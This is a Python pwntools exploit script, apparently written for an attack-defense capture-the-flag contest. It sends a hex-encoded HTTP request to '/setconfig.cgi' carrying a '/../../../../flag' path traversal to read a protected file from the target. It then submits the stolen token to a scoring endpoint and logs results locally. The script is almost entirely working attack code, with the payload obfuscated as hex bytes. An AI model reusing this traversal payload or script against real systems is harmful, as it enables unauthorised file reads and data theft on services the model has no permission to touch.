#!/usr/bin/env python2

from pwn import *
import requests
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

#context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path  = 'pwn'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'

# remote server ip and port
#host = "10.1.137.8:9999"
host = sys.argv[1]

# if local debug
LOCAL = 0
LIBC  = 0
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def write_to_flags(d):
    fd = open('./flags', 'ab')
    print(d)
    fd.write(d)
    fd.close()

def write_to_logs(d):
    fd = open('./logs', 'ab')
    fd.write(d)
    fd.close()

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    p = "\x47\x45\x54\x20\x2f\x73\x65\x74\x63\x6f\x6e\x66\x69\x67\x2e\x63" \
"\x67\x69\x3f\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x0d\x0a" \
"\x18\x00\x00\x00\x13\x00\x00\x00\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e" \
"\x2e\x2f\x2e\x2e\x2f\x66\x6c\x61\x67\x00\x0a"
    s(p)
    ru('flag token: ')
    token = ru(',')
    url = 'http://' + host.split(':')[0] + ':88/submit_flag_token?flag_token=' + str(token) + '&team_token=168_USR-20210716-vwQ3b'

    #print('URL: ' + url)
    res = requests.get(url,timeout=20)
    data = res.text
    if(res.status_code == 200):
        if(len(res.text) > 32):
            exit(0)
        else:
            print('flag: ' + data)
            write_to_flags(data + '\n')
    exit(0)

def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
        io = elf.process()
    else:
        elf = ELF(elf_path)
        io = remote(host.split(':')[0], int(host.split(':')[1]))
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()
